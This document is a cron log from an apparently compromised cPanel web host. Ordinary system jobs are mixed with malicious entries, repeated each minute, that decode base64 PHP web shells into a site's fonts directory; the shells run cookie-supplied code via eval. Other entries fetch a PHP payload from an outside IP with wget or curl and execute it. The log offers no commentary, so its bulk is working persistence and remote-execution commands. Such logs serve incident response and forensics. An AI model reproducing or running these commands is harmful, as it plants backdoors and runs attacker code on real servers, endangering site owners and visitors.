Sep  1 04:48:01 ip-184-168-122-23 CROND[18963]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 04:48:01 ip-184-168-122-23 CROND[18966]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 04:48:02 ip-184-168-122-23 CROND[18967]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 04:48:02 ip-184-168-122-23 CROND[18968]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 04:49:01 ip-184-168-122-23 CROND[19101]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Sep  1 04:49:01 ip-184-168-122-23 CROND[19103]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 04:49:01 ip-184-168-122-23 CROND[19102]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 04:49:01 ip-184-168-122-23 CROND[19105]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 04:49:01 ip-184-168-122-23 CROND[19104]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 04:50:01 ip-184-168-122-23 CROND[19238]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  1 04:50:01 ip-184-168-122-23 CROND[19239]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 04:50:01 ip-184-168-122-23 CROND[19240]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 04:50:01 ip-184-168-122-23 CROND[19244]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 04:50:01 ip-184-168-122-23 CROND[19246]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 04:50:01 ip-184-168-122-23 CROND[19248]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  1 04:50:01 ip-184-168-122-23 CROND[19249]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 04:50:01 ip-184-168-122-23 CROND[19250]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 04:50:01 ip-184-168-122-23 CROND[19247]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 04:51:01 ip-184-168-122-23 CROND[19386]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 04:51:02 ip-184-168-122-23 CROND[19389]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 04:51:02 ip-184-168-122-23 CROND[19391]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 04:51:02 ip-184-168-122-23 CROND[19393]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 04:52:01 ip-184-168-122-23 CROND[19601]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 04:52:01 ip-184-168-122-23 CROND[19604]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 04:52:01 ip-184-168-122-23 CROND[19603]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 04:52:01 ip-184-168-122-23 CROND[19605]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 04:52:01 ip-184-168-122-23 CROND[19607]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 04:53:01 ip-184-168-122-23 CROND[19730]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 04:53:01 ip-184-168-122-23 CROND[19731]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 04:53:01 ip-184-168-122-23 CROND[19733]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 04:53:01 ip-184-168-122-23 CROND[19735]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 04:54:01 ip-184-168-122-23 CROND[19901]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 04:54:01 ip-184-168-122-23 CROND[19902]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 04:54:01 ip-184-168-122-23 CROND[19904]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 04:54:01 ip-184-168-122-23 CROND[19906]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 04:54:01 ip-184-168-122-23 CROND[19905]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 04:55:02 ip-184-168-122-23 CROND[20280]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 04:55:02 ip-184-168-122-23 CROND[20278]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 04:55:02 ip-184-168-122-23 CROND[20288]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 04:55:02 ip-184-168-122-23 CROND[20290]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 04:55:02 ip-184-168-122-23 CROND[20289]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 04:55:02 ip-184-168-122-23 CROND[20292]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 04:56:01 ip-184-168-122-23 CROND[20591]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 04:56:01 ip-184-168-122-23 CROND[20595]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 04:56:01 ip-184-168-122-23 CROND[20593]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 04:56:01 ip-184-168-122-23 CROND[20594]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 04:56:01 ip-184-168-122-23 CROND[20596]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 04:57:01 ip-184-168-122-23 CROND[20769]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 04:57:01 ip-184-168-122-23 CROND[20771]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 04:57:01 ip-184-168-122-23 CROND[20774]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 04:57:01 ip-184-168-122-23 CROND[20775]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 04:57:01 ip-184-168-122-23 CROND[20779]: (root) CMD ((/usr/local/cpanel/scripts/fix-cpanel-perl; /usr/local/cpanel/scripts/upcp --cron > /dev/null))
Sep  1 04:57:45 ip-184-168-122-23 crontab[21234]: (root) LIST (root)
Sep  1 04:58:01 ip-184-168-122-23 CROND[21545]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 04:58:01 ip-184-168-122-23 CROND[21546]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 04:58:01 ip-184-168-122-23 CROND[21549]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 04:58:01 ip-184-168-122-23 CROND[21548]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 04:58:01 ip-184-168-122-23 CROND[21550]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 04:58:16 ip-184-168-122-23 crontab[21666]: (root) LIST (root)
Sep  1 04:58:16 ip-184-168-122-23 crontab[21668]: (root) LIST (root)
Sep  1 04:58:24 ip-184-168-122-23 crontab[21770]: (root) LIST (root)
Sep  1 04:59:01 ip-184-168-122-23 crond[671]: (*system*) RELOAD (/etc/cron.d/cpanel_ssl_reissue)
Sep  1 04:59:01 ip-184-168-122-23 crond[671]: (aromaskitchen) ORPHAN (no passwd entry)
Sep  1 04:59:01 ip-184-168-122-23 crond[671]: (jonessimon) ORPHAN (no passwd entry)
Sep  1 04:59:01 ip-184-168-122-23 CROND[22033]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 04:59:01 ip-184-168-122-23 CROND[22034]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 04:59:01 ip-184-168-122-23 CROND[22035]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 04:59:01 ip-184-168-122-23 CROND[22036]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 05:00:01 ip-184-168-122-23 CROND[22586]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
